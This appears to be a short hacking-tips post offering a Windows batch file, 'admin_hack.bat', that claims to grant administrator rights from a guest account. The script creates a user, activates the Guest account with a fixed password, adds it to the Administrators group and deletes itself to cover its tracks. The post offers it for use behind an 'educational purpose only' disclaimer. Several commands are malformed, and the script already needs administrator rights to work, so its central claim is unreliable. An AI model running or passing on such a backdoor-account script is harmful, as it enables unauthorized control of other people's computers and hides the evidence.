Hack Admin's right by using Guest User

Just copy this code to paste into notepad, and save it as admin_hack.bat

@ echo off
echo title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0


Note: do not destroy any pc by this, is for educational purpose only.